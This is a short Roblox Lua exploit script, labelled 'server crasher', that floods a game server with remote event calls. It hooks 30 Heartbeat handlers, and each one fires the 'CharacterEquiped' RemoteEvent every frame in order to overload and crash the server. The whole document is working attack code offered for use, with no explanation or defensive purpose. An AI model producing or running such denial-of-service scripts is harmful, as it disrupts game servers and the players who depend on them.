-- @build-failed -- server crasher local getservice = game.GetService local runservice, replicatedstorage = getservice(game, "RunService"), getservice(game, "ReplicatedStorage") local CharacterEquipedEvent = replicatedstorage:WaitForChild("CharacterEquiped") for i = 1, 30 do runservice.Heartbeat:Connect(function() CharacterEquipedEvent:FireServer("Nyxie") end) end